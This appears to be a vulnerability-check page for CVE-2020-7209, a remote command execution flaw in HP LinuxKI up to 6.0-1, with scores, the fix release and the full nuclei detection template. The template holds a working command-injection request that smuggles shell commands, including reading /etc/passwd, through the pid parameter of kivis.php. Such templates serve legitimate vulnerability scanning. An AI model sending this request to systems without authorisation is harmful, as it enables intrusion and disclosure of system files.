LinuxKI Toolset <= 6.01 - Remote Command Execution

criticalseverity

9.8CVSS score

98.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

LinuxKI v6.0-1 and earlier are vulnerable to remote code execution.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.

Fix

This is resolved in release 6.0-2.

How to confirm it

Send: GET {{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2020-7209 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-7209

info:
  name: LinuxKI Toolset <= 6.01 - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: LinuxKI v6.0-1 and earlier are vulnerable to remote code execution.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: This is resolved in release 6.0-2.
  reference:
    - http://packetstormsecurity.com/files/157739/HP-LinuxKI-6.01-Remote-Command-Injection.html
    - http://packetstormsecurity.com/files/158025/LinuxKI-Toolset-6.01-Remote-Command-Execution.html
    - https://github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-2
    - https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
    - https://www.hpe.com/us/en/home.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7209
    epss-score: 0.98751
    epss-percentile: 0.99926
    cpe: cpe:2.3:a:hp:linuxki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hp
    product: linuxki
  tags: cve,cve2020,rce,packetstorm,hp,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

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